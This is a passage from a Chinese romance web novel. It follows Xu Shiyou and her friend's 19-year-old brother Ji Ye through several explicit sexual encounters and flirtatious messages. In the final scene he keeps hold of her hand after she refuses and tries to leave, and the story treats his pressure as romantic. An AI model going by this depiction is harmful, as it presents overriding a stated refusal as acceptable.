因为那是她的一段不堪的,错误的,无法对人言说的过往。
“你也不说和那人一起多久了,反正时间也浪费了,我就
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不说了,吹了就吹了吧,但这大半年也没见你再有个什么动静,我这不是刚好有不错的人,认识一下也没什么吧?万一就看对眼了呢?”
徐诗柚听得心不在焉,视线一直落在耷拉着脑袋安静不作声的季野身上。
季野的唇线绷直,听着电话那头的声音,搭在抱枕上的手蜷着,周身散发着明显的低气压。
徐诗柚无端生出几分不安。
她脚趾动了动,在他膝盖上点了点,对方毫无反应,继续耷拉着脑袋。
她又用力蹬了他两下,仍旧不搭理她。
也不知道她哪根筋抽了,忽的就这么伸着脚去触他,且一路探到了抱枕底下。
精准踩上的时候,季野整个人都明显僵了僵。
他下意识想躲的,但僵硬过后还是忍了下来,甚至还保持着低头的姿势,当作无事发生,只是搭在枕头上的手指些微蜷紧暴露了点局促。
见他这乖顺的模样,徐诗柚脑子一热,更加得寸进尺了,脚挪动着,看着他耳根一点点攀上热意,呼吸变重。
“对方是做投资的,今年也才27岁,有自己的%&(&)……”
叽里咕噜地说什么呢?
周女士在那头喋喋不休地交代着男方信息,徐诗柚是一个字都没听进去。
12月的A城已经挺冷了,徐诗柚在家都穿着保暖的袜子,隔着几层布料,其实只能感受到那昂扬的劲头。
忽的,脚被他的大掌覆上。
她呼吸微滞,因为那只手,正一点点地替她把袜子剥落,光.裸的脚去掉那层厚重的绒毛布料后,一下子犹如踩上了一座火山。
她的心在狂跳,有热意爬上耳廓。
说不上是因为羞耻,还是刺激。
但她感受着对方身上的热度,看到对方从耳根到脖颈都烧得通红,仿佛在做着一件连他自己都感到极为羞耻,且不可置信的事。
他甚至不敢抬头看她,只是握住她的脚踝,任由她在抱枕底下取暖。
刚才连主动开口索求都不好意思的人,此刻却主动握起了她的脚……
徐诗柚被这种反差冲击着大脑,浑身都过电般酥麻。
“妈妈给你约好了,下周你就去和人见见,听见了吗?”
周女士这句话刚落,季野终于抬起了头望来,他眼尾泛着红,眼底翻涌的情绪复杂,似控诉,似委屈,似欲.念沉沉。
徐诗柚听见了拉链的声音,随即脚触碰到的,是更滚.烫的热度,毫无阻隔的……
他半仰着头在沙发靠背上,喉结不住翻滚,因情动和无法出声的煎熬,手腕和脖颈处都被逼出青筋,微微绷紧,跳动,欲得要命。
此刻的季野,徐诗柚无法再把他和“弟弟”这个词联系在一起了。
性感又危险,几乎要将她吞没
意识到这点,她的脚抽动了下,想要抽回。
她喜欢面对弟弟时的掌控感,也愿意体验被暂时压制的乐趣,但此时,这份掌控感却是严重失衡的,不在她。
此刻的她,反而成了那条被对方勾着的鱼,只要对方稍稍牵动下鱼竿,她就会被带出水面,扑腾挣扎。
她没由来地生出了几分慌乱,急着想要抽回自己的脚。
她恐慌这种失控。
然而,察觉到她的行为,那只大掌却把她的脚腕抓握得更牢,不让她有半分退缩。
他始终隐忍,直到额前的青筋突突跳着,在最后的时刻,失去浑身力气般仰头往后倒去。
他偏头看来,狭长的眼尾上挑,唇角微微勾起,似狡黠,又似靠自己讨到了糖的孩子,带着点炫耀的得瑟。
徐诗柚脸一热,居然在这一刻,感受到了一种微妙的悸动。
29. 拒绝
她体验到了一种破坏的愉/悦感。
像揉碎了圣洁的雪,践踏了皎洁的月。
神明被亵渎,为她降落。
“喂?你人还在吗?听见我说的没了?喂……喂喂?徐诗柚!”
安静的大厅里,只有电话那头周女士的叫嚷。
以及,男人稍显粗重的呼吸。
他肩线松垮地塌着,睫羽轻颤,眼尾泛着红,额角沁出薄汗,眉眼间还浸着几分未散的软澜,胸口仍在不住地上下起伏。
许久,徐诗柚才把手机重新抬起,敷衍地应声:“听、听见了。”
“那你记得啊,下周三,别忘了!”
“嗯嗯,那个妈,先不说了,我有事得先挂了。”
徐诗柚全程都在走神,压根不知道周女士都在那头说了些什么。
她现在就想赶紧结束了这通该死的电话。
她被熨到发热的脚趾不自在地蜷了蜷,又对脚上传来的稠腻略感不适。
季野察觉到,又支起身子从茶几上抽了一张张纸巾,隔着枕头,她看不见的地方,一点点替她把每根脚趾都擦干净。
周女士那头的话还没说完,徐诗柚就匆匆挂了电话,沉默着任由他摆弄干净自己的脚。
结束后,两人目光相接,安静地对望许久。
最后是徐诗柚先动了,她的脚还被他藏在枕头底下,她不过稍微动了动,马上又感受到了变化。
不愧是血气方刚的年纪,徐诗柚没忍住,轻笑出声。
这声轻笑果然换来了对方瞬间涨红的脸。
他又低下了头,变回那个一撩就脸红的弟弟。
徐诗柚收回脚,支起身,跪坐到他跟前,捧起了他的脸。
低头,亲了亲他潮红的眼尾,又亲了亲他余热未散的耳垂,在她近似安抚的亲吻下,季野喉结轻轻滚动,她又低头,亲吻他滚动的喉结。
捧住他脸颊的手在往枕头底下走。
季野握住了她的手腕,轻轻推开。
他拒绝了。
徐诗柚征住,不解。
“姐姐,我们……”
他头抵着她肩,情动过后,嗓音显得更为沙哑。
……我们现在是什么关系?
他原本是想这么问的。
但话到嘴边,还是转到了别处:“你会去吗?”
“什么?”徐诗柚没听懂,“去哪?”
“相亲。”
相亲?她刚才整副心神都被他勾走了,周女士说的什么,她可一个字都没听进去,还相什么亲?
但她心里痒得要死,又被拒绝,心里终归不爽,赌气地反问他:“不去的话,有奖励吗?”
大约是没料到她会这么问,埋首在她身上的人顿了几秒,然后肩膀开始轻颤,笑出了声。
他支起脑袋在她肩上,眉眼弯着,有点懒劲,声音哑哑的:“姐姐想要什么奖励?”
啊,徐诗柚觉得现在的他,性感得要死。
“唔……”她鼓了鼓脸颊,有些傲娇,“你知道的。”
季野沉默半晌,支支吾吾出声:“那个,姐姐,快到门禁时间了……”
徐诗柚无语了。
都什么时候了,居然跟她扯门禁!
之前每次让他走,都一副恨不得留下过夜的作态,现在她想留他了,居然跟她谈门禁!
他分明有来感觉,徐诗柚不信他不想,她试探:“真不要我帮你?”
“……不要。”他眼神尴尬地飘了下,又埋头回去,闷声,拒绝得很无情。
徐诗柚简直抓耳挠腮,根本搞不懂他,他这么忍着羞耻也要豁出去,赤.裸.裸且明摆着地主动勾-引她,难道就是为了跟她说不要吗!!
徐诗柚被他勾得浑身不得劲,又无法纾解,实在很想咬他一口。
季野算是看明白了,徐诗柚就是馋他。
他比她更馋,但这会却不想让她轻易得逞。
他直觉让她得到得太轻易,没准很快就对他腻了。
徐诗柚软磨硬泡了会,都没换来弟弟松口,她总不能霸王硬上弓吧?
只好妥协:“好吧。”
她腰塌回去,跪坐着,往仍然挡在那的枕头瞟了眼:“不过你这裤子……”
季野咳了声,不自在地别开脸:“姐姐这有能换的吗?”
“你希望我说有吗?”
季野脸色变了变,眼睛盯住她,似是真怕她说有。
徐诗柚笑了声,捞过手机,边划动边说:“先临时买条凑合着吧。”
季野松了口气。
就算真有,他也不想穿别的男人的……
徐诗柚下完单,瞥去一个揶揄的眼神:“那你,先去洗一下?”
季野抱着枕头起身,看着又窘迫又狼狈的。
徐诗柚笑得不行。
弟弟这个澡洗得格外久,裤子送来了人也还没出来。
沙发角落里的手机在嗡嗡震动,是季野的。
来电显示“林千”,好像是他的舍友。
她迟疑两秒,接起。
“大哥,快到熄灯时间了,你今晚还回的吗?不是出什么事了吧?”
徐诗柚停了两秒才出声:“回的,但要等等,他在洗澡。”
手机那头听见她的回应后,无端安静了几秒,然后,“啪”地挂断了。
“……”徐诗柚拿下手机,看着被挂断的界面扬了扬眉。
见季野还没出来,她丢开手机,拿着裤子去寻人。
她冲浴室喊了声,听见门锁拧动的咔哒声。
蒸汽裹着热浪争先恐后地从打开的门缝往外钻,男人的小臂探出,皮肤被热水熏得泛起微红,水珠顺着流畅的肌肉线条往下滚,骨节分明的手触上衣服一角。
指尖碰到衣服时,小臂的肌肉跟着绷紧了下,使了点力。
上面沾着的湿意,像道无声的钩子。
徐诗柚定定看着。
“姐姐?”他扯了下,没扯动,递裤子的人并不松手,他尴尬地探出一只眼。
徐诗柚抬眼,眉眼笑弯,还在逗他:“弟弟洗好久啊,真不用我帮?”
本就被热气蒸腾地有些泛红的皮肤因着她的话,更红了,慌乱地一把抢过衣服,砰地把门合上。
伴随着关门声起的,是他丢在空气中那句铿锵有力的:“不用!”
……
-
在离宿舍门禁还有不到半小时的时候,季野在开车回校的路上。
因为周一有早八,他很少会这个时间了都没回宿舍,舍友大概是怕他出什么事,打电话来问。
声音莫名的小心翼翼:“喂……是本人吗?”
季野皱了皱眉:“不然?”
林千明显松了口气的声音从车载音响里传出,再次问他:“你今晚还回吗?”
季野言简意赅:“路上了。”
舍友似乎对他的这个回答很意外:“真要回来?!”
季野听得莫名:“不回我去哪?”
那边静默几秒后,又传来试探性征询:“那……回来还是完璧之身吗?”
差点就不是了的某人听得眼皮一跳,声音都提了几分:“……说什么呢?”
林千听出他的心虚劲,立马自信抛出自己的猜测:“我说呢,我就觉得越想越不对劲!你那天突然跟我要什么‘学习资料’,片就片嘛,怎么会突然说什么学习资料?顾名思义,学习资料就是用来学以致用的!你一个平时都不爱看这些的人,忽然找我要,怎么想都不对劲!”
“今天又突然这么反常地快到门禁时间了都没回……我说,你是不是谈对象了?刚刚那个…女朋友?”
“什么刚刚那个?”
“你不知道?我刚刚给你打过一次电话了,是个女的接的。”
季野愣了下:“……你们说什么了?”
“我就问你回不回啊,然后她说你在洗澡……”他暧昧地笑两声,“啧啧,看不出来啊,你还挺……怎么样?我那些学
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习资料派上用场没?你上次就是为了……”
“滚。”那头话还没说完,被戳中心思的某人炸毛地掐灭了电话。
汽车在红灯亮起时,缓缓停在了白线后,握着方向盘的人,肩线塌下,眼尾耷拉,长长舒了口气。
他今晚,确实是抱着不纯洁的想法冲动跑去的,没想到一切按照他想要的方向发展了,临到关头,是他自己拒绝了。
怎么又有点后悔了呢?
……
赶在宿舍关门的前一分钟,季野回到了宿舍,踏进门的同时,刚好断电。
舍友上床玩手机的继续玩手机,在下面熬夜的熬夜,对于他这么匆匆赶回来都表现出了点意外。
孟嘉信朝床下瞥了眼,没忍住,发消息问他:【林千还说你有情况今晚可能不回了,说得一脸猥琐的,你……该不会是去找诗柚姐了吧?】
他本来想打“姐姐”的,想起那天季野的话,又改了。
那天在课上,他试探性问季野能不能追诗柚姐的时候,季野脸都黑了,很直接地回了他句“不可以”。
孟嘉信还是头一回见他这么冷着脸毫不留情地拒绝一件事,且是相当认真,不容拒绝的那种。
所以他多问了句为什么,其实问出口的时候心里已经有答案了。
“我确实把她当姐姐。”季野看着他,漫不经心地勾着唇,手上转着笔,一字一顿,“不过……是情、姐、姐。”
“懂?”
孟嘉信无法形容当时听到他这么说话时的错愕,却见他继续说——
“对了,你以后也别喊她姐姐了,我不喜欢。”
他说得很直白,没有一点要掩饰的意思。
不是,情姐姐?这是他单方面认为的,还是诗柚姐真的……和他有点什么?
后来孟嘉信也去试探过徐诗柚的口风,甚至自不量力地拿自己和季野比,试探她会喜欢什么样的类型,对姐弟恋怎么看之类的。
诗柚姐当时怎么回来着?
“啊,这个啊,阿野的话,是那种,姐姐要有点小钱,真想包养他呢~”
一个少男的初恋,就这么悄悄碎了。
因为聊过不少次天,他有点了解她说话大胆的风格,所以她这么说的时候,孟嘉信就验证了。
两人是真有点什么的,至少不是正常姐弟的关系,否则她是不会用这样的话来形容自己闺蜜弟弟的。
【嗯,怎么?】
季野换了身衣服上床,躺下才回他。
【……没。】
对手是季野的话,孟嘉信自知没什么竞争力,早就歇了心思,也没有要和朋友抢女人的意思。
况且他对诗柚姐也不单只是男女之间的那点想法,从朋友的角度,他也是挺喜欢她的,何况两人还有合作关系,他果断收了没必要的心思。
季野这会对着手机看了又看,始终没等到什么消息。
他摁掉屏幕,闭上了眼。
当一切归于平静,今晚发生的事便开始回流进脑子里,一点点凌迟着他的羞耻心。
几分钟后,他缓慢抬起手,捂在了眼睛上。
裸.露在外的耳朵此刻烧得通红。
他今晚到底都做了些什么……
这么一回想,怎么感觉像个变/态似的。
到底是怎么做出这种大胆又羞耻的行为的?还是当着姐姐的面……
做的时候也不知道自己在想什么,就是听见电话里一直给她说着相亲的事,男方履历多么多么优秀什么的,他听得烦躁,莫名就涌起了一股冲动,一种想破坏什么的冲动。
然后就……
当时情景,两人被情.欲裹挟,都有冲动很正常,但他很怕徐诗柚也像他这样,等冷静下来后再去回想,会不会对他的行为产生反感,甚至觉得他恶心……
他在床上辗转半天睡不着,又翻出手机,干脆给对方发消息。
与其胡思乱想,不如试探下吧。
【姐姐,睡了吗?】
30. 圣诞
徐诗柚看到消息的时候,正好从浴室泡完澡出来。
她随手回复:【没呢。】
【那姐姐在干嘛?】
徐诗柚琢磨着他问话的意思,勾了勾唇,回得暧昧:【洗澡,和……】
【和什么?】
【想你。】
回答很显然了,没有被讨厌。
季野提着的心放下,却也被她的话撩得更睡不着了,唇角抑不住地上扬,顺势问下去:【姐姐想我什么?】
两人对彼此的关系算是心照不宣了,徐诗柚索性也懒得再装。
她绕着房间翻找了几圈,终于在某个不知名角落里找到了那拿回来后就没打开过的盒子。
季薇有个朋友是做情/趣生意的,都不是什么放不开的人,那朋友偶尔出了什么新品,总要玩闹似地给季薇送上几件,季薇没事也给她塞过,这盒子就是当时随手塞给她的,还开玩笑说,要是用了,给她朋友个体验反馈什么的。
徐诗柚接过就忘了,这会存了逗弄的心思,特意翻出来,给弟弟拍了发过去。
暗示意味极强。
季野瞧见照片的时候,手抖了下,差点让手机砸脸上。
两秒后反应过来,立马按灭了手机,丝滑塞进了枕头里。
姐姐怎么这么……
他心跳很快,脸也热,身体更热,甚至不知道该做出什么应对。
唯独一点很确定的是,并不觉得反感,且觉得羞窘的同时还莫名多了丝隐秘的愉悦和亢奋。
如果是其他人给他发这种,他肯定会觉得对方有病,xsr,保准送她个拉黑删除一条龙服务,但如果是喜欢的人发,那就是种别样的刺激了……
身体迅速起来的反应也让季野不得不诚实面对自己身为男人的劣根性。
徐诗柚等了好一会没等到回复,以为自己这样直白且不加修饰的行为,终于彻底把弟弟吓坏了。
不应该啊?都当着她的面那什么勾-引她了。
她想过对方或许会羞于将话题延续,又或者干脆东拉西扯些什么转移话题,结果等来的回复却是——
【姐姐用过吗…】
徐诗柚极淡地挑了下眉,看来现在不是纯情小狗了,是吃了点肉沫,想开点荤尝尝的饥饿小狗。
她回:【没呢。】
季野:【怎么不用?】
徐诗柚:【没意思,那东西冷冰冰的,没温度。】
【比起这个…】
回复的时候她已经躺上了床,拉高被子盖身上,懒洋洋地按着语音键补完,语调故意勾着:【我更想要阿野的~】
因为没带耳机上床,季野把声量调到最小才敢凑到耳边听。
女人明显窝在被子里的慵懒软调响在耳边,不过一句话就勾得他浑身过电般酥麻,快烫成红烧。
他放下手机,目光空洞地盯了天花板一会。
几秒后,一把扯过被子盖在头上。
他一会翻到左边,一会翻到右边,身体的燥劲就是怎么也平不下去。
“你干嘛呢?滚来滚去地还让不让人睡了?”和他睡一侧的舍友朝他扔了个枕头,骂骂咧咧。
因为两张床和楼梯是连着的,这边动静大,会影响到和他一侧的床也跟着吱呀乱晃。
季野接住枕头,心情好,没跟他计较,把枕头扔回去,又躲回被子里回复。
他说了目前这辈子最放纵的话。
【姐姐…你别说了,我现在石-更得睡不着……】
徐诗柚端着手机愣神。
救命,谁懂…
撩几句就脸红,问感受都羞于启齿,亲热时更是手规规矩矩到不敢在她身上乱来的纯情小狗,突然说这种直白且赤果的话时,杀伤力有多大?谁懂啊!
话说,他们这是做什么?互相折磨吗?
她手一划拉,丢了个乖巧表情包过去:【好的。】
季野:【……】
-
12月后,大学逐渐步入期末周,季野被禁止了两头跑。虽然他本人觉得没什么影响,但徐诗柚怕影响他考试,已勒令他不许再来。
两人不再像之前那样,分开就跟断联似的话都没几句,大概是因为季野变主动了不少,两人没见面的日子,微信上的联系也没断过。
季野开始主动给她分享学校的生活,吃饭,上课,复习,都要给她拍个照报告行程,在学校遇到什么有趣的事也会随手跟她分享。
徐诗柚礼尚往来,自己吃饭,工作,也随手拍个照给他。
有次心思起,拍了张刚出浴裹着浴巾的图过去,差点把对方逗得连夜跑来,顾虑到他第二天还有考试,徐诗柚不敢再乱逗他了。
她这阵子还捏了好多个同一系列的冷脸小狗男孩,对应的还有同一系列的小猫女孩,且是互动型的,发到了微博上,因为cp感很足,且造型精致可爱,很多粉丝想买。
因为提过一嘴,产出的互动系列灵感来源于生活,有粉丝敏锐察觉到什么,直播的时候问她是不是谈恋爱了,作品是不是有原型,徐诗柚只笑不答。
当晚季野就把她微博扒了个干净,很直白问她:【姐姐,这小狗是我吗?】
徐诗柚才不要告诉他,很傲娇地回:【不好说,也可能是别的小狗。】
他发了个小狗被弃养的可怜表情包:【姐姐还有别的小狗?】
徐诗柚:【谁知道呢,复你的习吧!】
……
12月25日,圣诞节那天,徐诗柚久违地提了菜上闺蜜家。
她们约好了今晚要一起打火锅。
季薇是个很爱热闹的人,也很注重节日的仪式感,所以徐诗柚毫不意外地看到家里被她装扮得充满节日氛围。
缀满星星灯和彩球的圣诞树立在客厅角落,落地窗上贴满了麋鹿、雪人形状的静电贴,沙发上搭着红色绿色的针织毛毯,抱枕也换上了绣着圣诞袜与驯鹿图案的。
餐厅的吊灯缠绕着银色的金属丝与小彩灯,桌布换成了暗红色的格子布纹,暖融融的光漫了满室。
电磁炉正咕嘟咕嘟地熬着汤底,浓郁的骨香钻鼻而来。
她换好鞋,把买来的食材拎进厨房,挽起手袖上来帮忙。
徐诗柚不会做菜,但打火锅这种准备食材的事她还是会的,就帮忙拆出来,把该洗的菜洗洗就行。
7点多时,她把备好的食材端上桌,听见玄关处传来声响,猜测是季野回来了,想也没想地奔了过去。
一开门便见到快两周没见的人,季野原本没什么情绪的眉眼倏然扬起,小狗尾巴摇成螺旋桨,上来就把人抱住。
“姐姐!”
徐诗柚刚还拆过一盒肥牛,手上不怎么干净,没回抱他,又想起季薇还在厨房里,生怕被看见,赶紧挣扎了下示意:“快放手,你姐在里面呢!”
季野抱住她,头搭在她发顶上,往厨房方向扫去一眼,不情不愿松手:“我很不能见人吗?我姐在又怎么了……”
呃,徐诗柚也说不清,在季薇面前嚷嚷着看上她弟了也没不好意思,但不知怎么,等真撩到手后反而有点不敢认了。
她眼神闪避,不知道该怎么说:“就,总觉得怪怪的……”
好在季野向来是个很懂分寸的人,没再对这问题纠缠下去,放下东西也去给季薇打下手。
但徐诗柚看他那闷闷的背影,总觉得他好像有点……生气?
……
-
冬天就该配热腾腾的火锅,外面天寒地冻,屋内暖意融融,圣诞歌的旋律安静地淌着,火锅蒸腾的热气带着汤底的鲜香飘了满室。
可惜A城的冬天不会下雪,不然圣诞和雪更配。
三人边涮着肉边聊天,季野打了碗汤专注地撇着汤面的浮沫,指尖被热气熏得泛起薄红。
徐诗柚和季薇坐一边,季野独自坐对面,趁季薇沉浸在用漏勺捞虾滑时,闷着脸把撇掉浮沫的汤推到徐诗柚跟前。
徐诗柚稍征,旋即眼睛弯起,看他一眼,后者还是寡着张脸,不想搭理她的样子。
季薇正好开口,提起马上到来的元旦:“对了柚子,跨年那天记得腾出时间来,我们家城郊那不是有栋别墅嘛?今年跨年我打算在那边办个派对,正好阿野也生日,一起办了热闹。”<
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p>徐诗柚愣了下,望向对面的人:“生日?跨年那天?”
“对,这小子生日正好是跨年日,跨完年就元旦了,所以我打算安排在别墅玩个一天一夜。”
说着,季薇又看向弟弟:“你看着,把同学啊舍友啊,反正关系不错的朋友都邀请一下,给你热热闹闹地办个跨年生日派对。”
季野对办不办生日的兴致不高,那不过是他姐自己想热闹的一个借口罢了,只敷衍地“嗯”了声。
徐诗柚含着笑,随口道:“生日啊,弟弟这么快都21岁了呀?”
“什么21?是他20岁生日啦!”季薇给她纠正。
徐诗柚脸上的笑僵住:“几、几岁?”
“20啊!”
“那他现在岂不是才……”徐诗柚眼睫飞快颤了下,掩不住的错愕,看向季野的眼神都带了些慌乱。
“嗯,现在还是19岁呢,马上就进入2字头,是个大人咯!”
徐诗柚感觉有什么在脑子里嗡地炸开,碎了一地。
可能是她的道德,也可能是她的良知吧。
反正碎成了渣渣。
她一直以为季野早就20了,万没想到,他还是个十字开头的少年。
听起来好像就差1岁,但在徐诗柚这就是不一样的!
十几岁和二十几岁,就像成熟和不成熟的分水岭,小孩和大人的分水岭,说出来给人的感觉是完全不同的。
二十岁的季野,徐诗柚姑且觉得他已经算个大人了,但十几岁的季野……
徐诗柚倏然想起自己曾对他做过的那些事,一帧帧一幕幕凌迟着她本就不多的道德感,顿觉头皮发麻,菜都不会吃了,一种浓烈的罪恶感和背德感裹挟着她。
她觉得自己像个引人犯罪的邪恶老妖婆,引着一个纯洁干净的少年去偷吃禁果。
季薇还在讲着跨年那天的安排,没有注意到她的变化,季野却在对上她慌乱眼神的刹那,便洞悉了她的想法,他眼皮一跳,紧张地盯住她的神情变化。
徐诗柚脸色红了又白,白了又红,一会纠结万分,一会慌乱不已,各种复杂神色一闪而过,脸色十分精彩。
季野也慌了,哪还顾得上和她生什么闷气,桌底下的脚踢了她一下,试图引起对方的注意,但徐诗柚好像完全沉浸在了自己的想法种,压根没反应。
直到晚餐结束,季野都没找到机会和她说上话,她和季薇在客厅呆了会就回了房。
晚上洗漱完,徐诗柚还有些恍惚,她抱着枕头在床上,问季薇:“你怎么不早说…你弟才19岁啊?”
“啊?我不是说了吗?他大二啊!”
“你之前不是说他20岁吗!”
“我说过吗?”季薇想了想,好像是说过类似“都20岁的人了”之类的话,“我这,说的不是虚岁嘛……也没差啊?”
说着,她这会才注意到闺蜜的不对劲,她笑了声,促狭道:“怎么?19岁觉得小了,下不去手?有罪恶感?”
徐诗柚一枕头丢向她:“哪没差了!十几岁跟二十岁,听着还是很大区别的好嘛!”
二十岁,姑且算是颗成熟的苹果,但十八九岁,听起来就像是才刚长成,就迫不及待被人摘掉的小苹果,听着就像在干坏事。
季薇接住枕头,自己品了品:“好像感觉是不一样……会更刺激吧?”
“神经啊!那是你弟啊,你都不怕他万一被哪个老女上看上玷污了吗?”
季薇笑不活了,抱着枕头在床上滚:“你这狠起来怎么连自己都骂啊,咋不说他是被富婆看上?”
“我又不是富婆!”
季薇又笑了会,侧躺下来,支着头,收敛了点笑意:“有负担就算了呗,要不再等个一两年?我现在倒是不想你和他好了……”
一向很看好她拿下自家弟弟的季薇忽然这么说,徐诗柚有些意外,盯着她,等待下文。
季薇清了下嗓子,拍拍床,示意她一块躺下。
徐诗柚知道,她这是想聊正经的了。
等她躺下,季薇忽然认真地开了口:“柚子,你有没有想过…要重新回到京市?”
31. 帮我
没料到季薇要谈的是这个,徐诗柚睫毛轻轻动了动,安静地看着她。
季薇继续往下说:“我可能没法再呆在这边了,之前不是提过嘛,我爸一直想让我回总部那边做管理,他的产业迟早也是要交到我和阿野手上的,他希望我尽早上手那边的业务。”
“当初你从京市离开,会来这边也是因为我,现在我要走了,总不能把你单独扔在这吧……你呢,你什么想法?跟我回京市,还是想继续留在这边?”
徐诗柚在A市这边其实都没超过一年,谈不上什么归属感,反倒在京市度过了三年,真要算的话,可能京市她还要更熟悉。
只是……
“秦聿在那边,你很介意是不是?”到底是闺蜜,一眼便看穿了她的迟疑。
“你还没放下他吗?”
徐诗柚抱住枕头,眼睫垂下:“我不知道……”
她平躺下来,望着天花板,形容着一直以来那模糊不清的感受:“你懂吗?那种感觉……就像一根刺,你把他强行拔出来了,但那刺出的洞却始终汩汩流着细细的血,那洞很小,但就是不愈合……”
感情的事很复杂,不是局外人能三两语化解的,季薇叹了口气,也改为平躺,两人都望着天花板,头碰着头谈心。
“为了一个人,放弃一座城,不值得。你当初一心想着要在京市扎根,现在却为了他……唉。”
她感慨一句,然后转开话题:“你之前不是说,想开个工作室吗?”
“嗯,有在考虑。”
徐诗柚最近在尝试转做手作教学,她尝试开了一期线上教学课,很快就招满了人,她试探过粉丝对线下教学报名的意愿,挺多人表示想参加线下教学的。
“你知道的,一旦开了工作室,只要不是干不下去,你基本就是在这边扎根了,但我和阿野迟早是要回京市的,毕竟根在那,我爸也只是见我们还小,给我们一时的自由罢了,等阿野毕业后,他也是要回去的。”
“所以我现在私心觉得你们还是先别好了,不然你要是跟我走了,岂不变异地恋了?”
“你想得也没错,阿野确实连20都不到,还小,肯定不能说有多成熟,你们之间思想上的差距肯定是有的。”
“等过个两年,他毕业了,更稳重了,你也在那边站稳了脚跟,也更清楚自己内心的时候,到时候你们再来发展,也许会成熟很多。”
徐诗柚侧头看她:“你怎么好像就认定,我俩会一起了一样?”
季薇笑了声,没有解释。
两个都是她熟悉的人,弟弟对闺蜜的态度,闺蜜明里暗里多次的试探,她又不傻,总不至于还看不出来两人有点什么。
而且她清楚她弟的性格,看着好像对什么都不是很在意,实则是个很执拗的人,一旦认定什么,就很难变。
看似闺蜜先招惹的她弟,但季野要是没那心思,再来十个徐诗柚恐怕也未必能撩动。往后谁招惹谁可不好说咯。
后面两人有的没的闲扯了许久,季薇说着说着就没声了,徐诗柚发现她已经睡过去,便把床头的灯关掉。
她自己躺到后半夜都睡不着,一直在想工作室的事。
有件事季薇说得没错,如果把工作室开在A市,基本就等于在这个地方扎根了。
但当初她之所以过来这边,只是因为季薇在这,她懒得再去别的地方。对这个地方,真谈不上有多深的感情。
如果决定要回京市发展,那季野还在这读大二,等到他毕业起码还得两年,那就意味着……
不是!不对!
她怎么在考虑季野的事了!
他才19岁!之前已经因为误会而干了不少不是人事的事了,徐诗柚,你难道还要继续不是人下去吗!
她在心里扇了自己一巴掌,唉声叹气。
怎么这么小啊!弟弟怎么就这么小啊!
真烦……
她睡不着,屋内的暖气烘得她口干,干脆起身到外面找水喝。
客厅内只有墙上挂着的星星灯串还在黑夜中发着光,季薇给屋内挂了不少灯饰,不用开灯也能看清楚路。
她从厨房喝完水出来,刚想拐回主卧,手腕突然一紧,眼前一晃,人就被扯向了另一个方向。
门在身后合上,她被按在了墙上,高大的黑影覆盖下来。
徐诗柚征懵了一瞬,很快便明白过来眼前的情况,有些傻眼:“你、你干嘛啊?”
“姐姐怎么不回我信息?”季野手撑在她两侧,低头俯视着她,黑暗中,声音略显急促。
信息?她洗完澡就躺床上和季薇一直聊到睡觉,手机也调了静音,压根没看手机……
“我没看……”她解释。
不是故意不回,季野松了口气,收拢了撑在她身侧的手,抱住她,头埋在她颈窝,深深吸了一口。
“我以为你不想要我了。”
“?”
“吃饭的时候……姐姐在想什么?”他手拢紧了些,抱她更紧。
“你是不是,嫌我小,所以……”
被戳中,徐诗柚讪讪开口:“我、我以为你早就20了,没想到……”
她叹了声,也懒得解释太多了,毕竟也想了一晚上:“你说得没错,我确实这么想的,19岁,对我而言,是有点不太能接受……”
“那行。”季野握住她的肩,支起身,做出让步,“也没差几天了,姐姐要是实在介意,那我这几天都不找你了。”
“再等几天,等我20就行了吧?”
??
她是这个意思吗?
徐诗柚好笑道:“这是重点吗?你这算故意曲解吧?”
“那你说怎么办?”
他语气有些急,刚适应房内昏暗的眼睛仍看不清他的表情,只能看到他眼里细微的反光。
想了一晚上,徐诗柚其实已经偏向于回京市发展了,本来也没开始,与其搞什么异地恋双方都折磨,还不如先断掉,等以后再说。
“阿野。”她难得认真喊他,“要不我们……”
“我不要!”他打断她,握住她的手放在脸侧,语气有些慌乱,“姐姐别不要我……”
徐诗柚无奈,耐心同他解释:“我不是不要你,就是,你现在还太小了,我觉得可能……”
“我不小了。”他再次打断,不想听她说下去,牵着她的手从脸侧一路慢腾腾往下。
从颈侧,锁骨,胸肌……
室内有暖气,两人都只穿着薄薄的一层睡衣,徐诗柚的手被烫了下,吓得赶紧往回抽。
但季野偏要用力把她的手扣住,不允许她抽回。他伏低了身子在她耳边轻声,强调:“姐姐,我不小……”
!!!
我说的是这个小吗!!!
“真的,我不小的。”他还在说,“姐姐之前不是感受过了吗?”
“如果脚衡量不出来,那现在呢?姐姐的手……”
……你要不要听听自己在说什么!
季野滚热的呼吸扑在耳边,人也懒洋洋地靠在她肩上:“姐姐之前不是说过可以帮我吗?”
“就现在。”他哑声,喉结轻滚,“帮我……”
“不要!你放手!”徐诗柚快被他搞疯了,这让她感觉像在犯罪,使了劲要抽回手,“快放手!我得回去了,一会你姐醒来
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……”
对方也铁了心要跟她作对似的,更用力地扣住她,掌心包裹,半点不容她退缩,大有种破罐破摔的无赖劲:“不放,不帮我就不放。”
“流氓啊你!”
“姐姐说我是就是吧。”
“……”
徐诗柚最后妥协了。
昏昧的环境,强势笼罩于周身的男性荷尔蒙,耳边沉闷的呼吸,年龄身份的禁忌感,这无不催生着一种恼人的冲动和刺激。
在丧失时间感知的好长一段时间里,徐诗柚麻木地接受了自己感官至上的没出息样。
她抵着对方胸口,困怠地抬头:“怎么还没好?好累呀……”
“不知道,可能太久没……”季野蹙眉,换气的力度变粗重许多,偏头亲亲她耳朵,哄道,“姐姐再坚持下…”
“久?那你平时多久一次?”
“……”季野抿了抿唇,沉默半晌,“没有规律,就是,想姐姐的时候会……”
“那你多久想我一次?”
“……每天?”
徐诗柚倏地从他身上支起,瞪大了眼:“你不会…不会……”
“没有。”季野笑了声,无奈解释,“每天都想姐姐,但只是偶尔想得急了才会……”
又有点没辙地笑道:“要是每天,我还活不活了?”
“……”
好吧,说得也是。
“那怎么这么慢……”她低声喃喃,想到什么,忽又抬头,实在好奇,“我说弟弟,你对我,都没那什么的吗……”
季野的感官都集中在其它地方,实在分不出心思琢磨她的话:“什么那什么?”
“就是,对我没那什么的想法吗?”徐诗柚话说得有些急乱,她不知道该怎么说,很多时候,她都觉得他过分克制了,克制到像没有欲望一样。
两人的眼睛早已适应了黑暗,这样的环境下,勉强能看出对方的神情,所以徐诗柚在说完这句话后,便很清楚地看到了季野那一脸“你要不要看看自己正在做什么”的复杂神情。
他视线下移,声音沙哑却无奈:“姐姐,我最大的想法都在你手上了,你还想我怎么表示你才觉得我有?”
他何止有,还想……
“我不是说这个,我是说。”她说不明白,干脆用空着的那只手牵起他的手,抬起,放在自己的心脏处。
